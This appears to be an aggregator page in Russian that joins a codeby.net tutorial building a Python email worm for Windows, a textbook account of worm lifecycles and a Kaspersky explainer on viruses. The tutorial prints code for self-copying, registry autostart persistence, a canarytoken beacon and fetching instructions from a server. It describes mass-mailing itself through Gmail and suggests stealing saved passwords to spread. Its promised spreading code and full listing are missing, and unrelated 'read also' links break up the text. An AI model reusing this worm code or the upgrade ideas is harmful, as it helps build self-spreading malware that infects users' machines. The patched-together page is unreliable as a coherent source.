Сетевые черви это вредоносные программы

Приветствую!
Пытался придумать вводную — не получилось. Да и оно вам надо? Так что, давайте вкратце: в этой статье мы разберем такой тип вирусов, как «сетевой червь» и даже напишем одного такого.

Итак, что же такое, эти ваши сетевые черви?

Если поискать на википедии, то можно найти следующее определение: «Сетевой червь — разновидность

Ссылка скрыта от гостей
, самостоятельно распространяющейся через локальные и глобальные (
Ссылка скрыта от гостей

) компьютерные сети.» и, в принципе, все верно, сетевой червь — это действительно вредоносная программа, способная воспроизводить себя на устройствах, распространяющаяся по сетевым каналам и часто, способная к самостоятельному преодолению систем защиты компьютерных сетей. При этом пользователь не подозревает о заражении своего компьютера.

Распространятся по сети черви могут, отправляя свои копии по электронной почте, или заражая устройства, используя критические уязвимости систем (например, такие, как, знаменитая, закрытая уже Eternal Blue). Сетевые черви могут размножаться по каналам файлообменных пиринговых (p2p) сетей (например, Kazaa, Grokster, eDonkey, FastTrack, Gnutella и др.), в системах мгновенного обмена сообщениями (таких как Facebook Messenger, Skype или WhatsApp) и даже, через наше любимую, «безопасную» IRC.

Самый первый компьютерный вирус (Легендарный сетевой червь Морриса) нанесший колоссальный ущерб.

Принцип работы сетевого червя довольно прост — вредоносная программа попадает на устройство, закрепляется там, выполняет вредоносные действия, если есть такая задача и распространяется дальше.

Ну что ж, предлагаю создать одного такого представителя, данного семейства вирусов.

!ВАЖНО! Прошу обратить внимание, что т.к. материал в статье представлен исключительно в образовательных целях, созданный нами червь не будет выполнять никаких вредоносных действий, не будет прятаться на зараженном устройстве и маскировать себя при распространении и самовоспроизведении (например выдавая себя за документ). И вообще, создание вредоносных программ — плохо и можно за это понести ответственность, согласно

Ссылка скрыта от гостей

, или другой страны, в которой вы проживаете.

Для начала, давайте уточним язык программирования, на котором будем творить. Я, естественно буду использовать python3 (не зря же я в этой ветке тему создал, да?), т.к. я криворукий рукожоп и не могу нормально использовать другой яп он простой и наглядный, но если есть понимание, что программа делает, то и написать её на другом ЯПе не составит труда.

Теперь определимся, какие задачи будет выполнять наша программа, после заражения устройства (червь будет создан под устройства с ОС windows):
1. Создать свою копию на зараженном устройстве.
2. Записать себя в автозагрузку, через реестр.
3. Триггернуть canarytoken (чтоб нам на почту капнуло уведомление, о том, что червь засел на очередном устройстве)
4. Обратиться к серверу и получить от него какие-либо данные (инструкции). * В нашем случае червь будет получать список email-адресов для дальнейшей рассылки по ним своих копий

Как один студент сломал интернет?! Кто такие Сетевые Черви и почему они опасны? Червь Морриса.


5. Выполнить какие-либо действия на зараженном устройстве.
6. Начать самораспространение, путем отправки своих копий, на ранее полученные email-адреса.

С задачами определились, можно и начинать кодить.
Для начала давайте импортируем нужные нам модули:

#!/usr/bin/env python # -*- coding: utf-8 -*- import os, sys import shutil import requests from winreg import OpenKey, SetValueEx, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ import smtplib from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.mime.application import MIMEApplication

Думаю, os, sys, requests — всем знакомы, на них останавливаться не будем. Модуль winreg предоставляет доступ к реестру Windows, smtplib и email — используются для создания электронной рассылки.
Если у вас отсутствует какой-либо модуль, его нужно установить используя команду:

pip install ‘название модуля’
pip3 install ‘название модуля’

Читайте также:
Программа для беременных по неделям какая лучше

Теперь решим первую задачу — самовоспроизведение. Заставим нашего червяка размножится вегетативно, так сказать:

def main(): # Создаем клона dir = os.getenv(«APPDATA») + r’/worm/’ # Вместо worm можно подставить любое название программы path = dir + os.path.basename(__file__) # тут будет копия программы, она же будет запускаться в дальнейшем if not os.path.exists(dir): # если директории не существует — создать и скопировать туда нашего червя os.makedirs(dir) # создание директории в appdata shutil.copy(__file__, path) # копирование программы

С этой частью — все должно быть ясно и проблем возникнуть не должно. Просто проверяем, есть ли уже наш червь на устройстве, если нет — то копируем его. Тут наш червь не прячется и копирует себя в том виде, в котором есть, со вполне очевидным названием.

Переходим ко второй задаче — прописываем червя в автозапуск, через реестр:

# прописываем в автозапуск, через реестр reestr_path = OpenKey(HKEY_CURRENT_USER, r’SOFTWAREMicrosoftWindowsCurrentVersionRun’, 0, KEY_ALL_ACCESS) SetValueEx(reestr_path, ‘worm’, 0, REG_SZ, path) CloseKey(reestr_path)

Готово, тут тоже все элементарно — определяем путь в реестре до автозапуска и создаем новую запись. Прошу отметить, что червяк не будет маскироваться под какую-нибудь системную утилиту, а имеет честное название «worm».

Теперь перейдем к пунктам 3 и 4 — тригернем канарейку и получим инструкции с сервера. Про то, как создать свой cannarytoken в интернете есть много информации, да и сам процесс создания не особо сложный, так что заострять внимание на этом не буду, если у кого-то возникнут вопросы — расскажу в следующий раз, что это, с чем это едят и как такое сделать.

# Тригирим канарейку requests.get(‘http://canarytokens.com/feedback/01oohhr7cpup3uf0x44m0vol2/index.html’) # получчаем инструкции с сервера (в случае этой программы — получаем список почт, для рассылки) instructions = requests.get(‘http://192.168.3.111/instruction.txt’, stream=True) # получения файла с данными с сервера with open(‘instruction.txt’, ‘wb’) as f: shutil.copyfileobj(instructions.raw, f) # на всякий случай сохраняем инструкции

Обратите внимание, что, т.к. я не собираюсь заражать устройства в сторонних сетях, то мой сервер находится в той же сети, что и зараженное устройство. поднят он простейшим способом, при помощи питона и команды:

sudo python -m SimpleHTTPServer 80

В каталоге, который используется, как корневая директория сервера лежит заготовленный файл с инструкциями «instruction.txt», который и стягивает наш червь.

1645541901984.png

Так же, вместо своего сервера, можно использовать другие средства, например — гит-репозиторий, с которого червь будит тянуть то, что нам нужно.

Ну что ж, больше половины червяка готово, теперь перейдем к пункту 5 и напишем отдельную функцию, для выполнения зловредных и не очень действий:

def Execute(): «»»Функция для выполненя зловредных действий»»» with open(‘README.txt’, ‘w’, encoding=’utf-8′) as f: f.write(‘Belligerent worm in action’)

У нас, как понятно по коду, никаких вредоносных действий выполняться не будет, просто создастся файл «README.txt», но отдельная функция нужна, для наглядности, т.к. на самом деле в неё можно запихать целую кучу различных действий.

И вот мы наконец добрались до последнего 6 пункта — самораспространения. Напишем функцию, которая будет рассылать копии нашего червя на email-адреса, указанные в присланном ранее файле, с сервера:

В качестве почты, с которой червь будет производить рассылку, используется почта gmail. Сразу надо отметить, что в настройках аккаунта gogle надо открыть доступ к почте из ненадежных источников, иначе защита gmail не даст нам залогиниться и отправлять сообщения.

1645544287906.png

Вот и все, ребята, как говорится. Склеим нашего монстра Франкенштейна и проверим его работоспособность.
Код червя целиком:

Запускаем и проверяем:

1645544602114.png

Червь отработал, посмотрим, что же произошло:
В папке «AppData/Roaming» появился каталог «worm» с копией нашего червя.
До:

1645544747661.png

1645544760250.png

Появилась запись в реестре. Теперь при каждом запуске устройства, червь будет пытаться размножиться и выполнить то, для чего предназначался.
До:

1645544843515.png

1645544893523.png

Подключение к серверу прошло успешно, в каталоге, из которого производился запуск червя появился файл с инструкциями (стянутый с сервера) и README.txt (свидетельствующий об успешном выполнении функции Execute()):

1645545083649.png

1645545059004.png

Пришло сообщение о триггере канарейки

Читайте также:
Какие программы увеличивают скорость интернета

1645545225589.png

В «отправленных» появилось отправленное червем письмо:

1645545898341.png

В почтовом ящике эфемерной «жертвы» появилось письмо с вложенным червем:

1645545960963.png

1645546586717.png

Вложение скачивается без особых проблем и при запуске пользователем, червь будет активно выполнять заложенные в него функции, тем самым распространяясь все больше и больше.
P.S. Реальный такой червь, вместо получения списка email’ов с сервера мог бы вытягивать с устройства жертвы пароль от почты (если он сохранен, а многие такие вещи сохраняют в каких-нибудь, встроенных в браузер, парольных менеджерах), брать несколько последних адресов с которыми «жертва» вела переписку и отправлять свои копии им, притворяясь при этом каким-нибудь важным документом, кончено.

Ну и на последок, можно скомпилировать нашего червя в .exe файл при помощи pyinstaller и команды:
pyinstaller —onefile —icon=’иконка приложения.ico’ ‘название программы’

На этом — статья заканчивается, спасибо всем, кто нашел в себе силы дочитать до конца. Надеюсь, что такой вид вирусов, как «сетевые черви» были тут понятно разобраны и хоть кто-то нашел для себя что-то новое, или просто интереное.

Источник: codeby.net

Сетевые черви. Принцип действия.

К сожалению, определение червя отсутствует в государственных стандартах и распорядительных документах, поэтому здесь приведено лишь интуитивное определение, дающее представление о принципах работы и выполняемых функциях этого типа вредоносных программ.

Определение 1: Червь (сетевой червь) — тип вредоносных программ, распространяющихся по сетевым каналам, способных к автономному преодолению систем защиты автоматизированных и компьютерных сетей, а также к созданию и дальнейшему распространению своих копий, не всегда совпадающих с оригиналом, и осуществлению иного вредоносного воздействия.

Жизненный цикл

Так же как для вирусов, жизненный цикл червей можно разделить на определенные стадии:

1. Проникновение в систему

4. Подготовка копий

5. Распространение копий

Стадии 1 и 5, вообще говоря, симметричны и характеризуются в первую очередь используемыми протоколами и приложениями.

Стадия 4 — Подготовка копий — практически ничем не отличается от аналогичной стадии в процессе размножения вирусов. Сказанное о подготовке копий вирусов без изменений применимо и к червям.

Каналы распространения

На этапе проникновения в систему черви делятся преимущественно по типам используемых протоколов:

· Сетевые черви — черви, использующие для распространения протоколы Интернет и локальных сетей. Обычно этот тип червей распространяется с использованием неправильной обработки некоторыми приложениями базовых пакетов стека протоколов tcp/ip

· Почтовые черви — черви, распространяющиеся в формате сообщений электронной почты

· IRC-черви — черви, распространяющиеся по каналам IRC (Internet Relay Chat)

· P2P-черви — черви, распространяющиеся при помощи пиринговых (peer-to-peer) файлообменных сетей

· IM-черви — черви, использующие для распространения системы мгновенного обмена сообщениями (IM, Instant Messenger — ICQ, MSN Messenger, AIM и др.) Способы активации

На этапе активации черви делятся на две большие группы, отличающиеся как по технологиям, так и по срокам жизни:

1.Для активации необходимо активное участие пользователя

2.Для активации участие пользователя не требуется вовсе либо достаточно лишь пассивного участия

Под пассивным участием пользователя во второй группе понимается, например, просмотр писем в почтовом клиенте, при котором пользователь не открывает вложенные файлы, но его компьютер, тем не менее, оказывается зараженным.

Отличие в этих подходах глубже, чем может показаться на первый взгляд. Активация сетевого червя без участия пользователя всегда означает, что червь использует бреши в безопасности программного обеспечении компьютера.

Это приводит к очень быстрому распространению червя внутри корпоративной сети с большим числом станций, существенно увеличивает загрузку каналов связи и может полностью парализовать сеть. Именно этот метод активации использовали черви Lovesan и Sasser.

В результате вызванной таким сетевым червем эпидемии, используемая брешь закрывается администраторами либо пользователями, и по мере уменьшения компьютеров с открытой брешью эпидемия завершается. Для повторения эпидемии разработчикам вирусов приходится эксплуатировать другую брешь. В итоге, эпидемии, вызванные активными червями, существеннее влияют на работу сети в целом, однако случаются значительно реже, чем эпидемии пассивных сетевых червей. Обязательной мерой защиты от таких эпидемий является своевременная установка заплат безопасности. Отметим также, что особенно уязвимыми для этого типа червей являются операционные системы с заложенными возможностями удаленного управления или запуска программ — это семейство Microsoft Windows NT/2000/XP/2003.

Читайте также:
Как завершить все программы на компьютере

Поиск «жертв»

Способ поиска компьютера-жертвы полностью базируется на используемых протоколах и приложениях. В частности, если речь идет о почтовом черве, производится сканирование файлов компьютера на предмет наличия в них адресов электронной почты, по которым в результате и производится рассылка копий червя.

Точно так же Интернет-черви сканируют диапазон IP адресов в поисках уязвимых компьютеров, а P2P черви кладут свои копии в общедоступные каталоги клиентов пиринговых сетей. Некоторые черви способны эксплуатировать списки контактов интернет-пейджеров, таких как ICQ, AIM, MSN Messenger, Yahoo! Messenger и др.

Подготовка копий для распространения

Сказанное ранее о подготовке копий для распространения вирусов, применимо и для червей.

Наиболее часто среди червей встречаются упрощенные реализации метаморфизма. Некоторые черви способны рассылать свои копии в письмах, как с внедрением скрипта приводящего к автоматической активации червя, так и без внедрения. Такое поведение червя обусловлено двумя факторами: скрипт автоматической активации повышает вероятность запуска червя на компьютере пользователя, но при этом уменьшает вероятность проскочить антивирусные фильтры на почтовых серверах.

Аналогично, черви могут менять тему и текст инфицированного сообщения, имя, расширение и даже формат вложенного файла — исполняемый модуль может быть приложен как есть или в заархивированном виде. Все это нельзя считать мета- или полиморфизмом, но определенной долей изменчивости черви, безусловно, обладают.

  • Войдите на сайт для отправки комментариев

Источник: www.in-nov.ru

Что такое компьютерный вирус и компьютерный червь?

Компьютерный вирус и компьютерный червь — это вредоносные программы, которые способны воспроизводить себя на компьютерах или через компьютерные сети. При этом пользователь не подозревает о заражении своего компьютера. Так как каждая последующая копия вируса или компьютерного червя также способна к самовоспроизведению, заражение распространяется очень быстро. Существует очень много различных типов компьютерных вирусов и компьютерных червей, большинство которых обладают высокой способностью к разрушению.

Что нужно знать о компьютерных вирусах и червях

Вредоносное программное обеспечение из подкласса вирусов и червей включает:

  • Email-Worm
  • IM-Worm
  • IRC-Worm
  • Net-Worm
  • P2P-Worm
  • Virus

Большинство известных компьютерных червей распространяется следующими способами:

  • в виде файла, отправленного во вложении в электронном письме;
  • в виде ссылки на интернет — или FTP-ресурс
  • в виде ссылки, переданной через сообщение ICQ или IR
  • через пиринговые сети обмена данными P2P (peer-to-peer)
  • некоторые черви распространяются как сетевые пакеты. Они проникают прямо в компьютерную память, затем активируется код червя.

Вирусы можно классифицировать в соответствии с тем, каким способом они заражают компьютер:

  • Файловые вирусы
  • вирусы загрузочного сектора
  • Макровирусы
  • Вирусные скрипты

Как защититься от компьютерных вирусов и червей

Рекомендуется установить антивирус: программное обеспечение для защиты от вредоносных программ на все свои устройства (включая ПК, ноутбуки, компьютеры Mac и смартфоны). Решение для защиты от вредоносных программ должно регулярно обновляться, чтобы защищать от самых последних угроз. Хороший антивирус (такой как Антивирус Касперского) обнаруживает и предотвращает заражение ПК вирусами и червями, а Kaspersky Internet Security для Android — отличный выбор для защиты смартфонов на базе Android. В «Лаборатории Касперского» созданы продукты для следующих устройств:

  • ПК на базе Windows;
  • компьютеры Mac;
  • смартфоны;
  • планшеты

Другие статьи и ссылки, связанные с компьютерными вирусами и червями

  • Что такое троянская программа?
  • Adware, Pornware и Riskware
  • Кто создает вредоносные программы?
  • Kaspersky Total Security для всех устройств
  • Kaspersky Internet Security для всех устройств
  • Антивирус Касперского
  • Бесплатный антивирус Kaspersky Free
  • Kaspersky Internet Security для Mac
  • Kaspersky Internet Security для Android

Что такое компьютерный вирус и компьютерный червь?

Существует очень много различных типов компьютерных вирусов и компьютерных червей, большинство которых обладают высокой способностью к разрушению.

Источник: www.kaspersky.ru

Рейтинг
( Пока оценок нет )
Загрузка ...
EFT-Soft.ru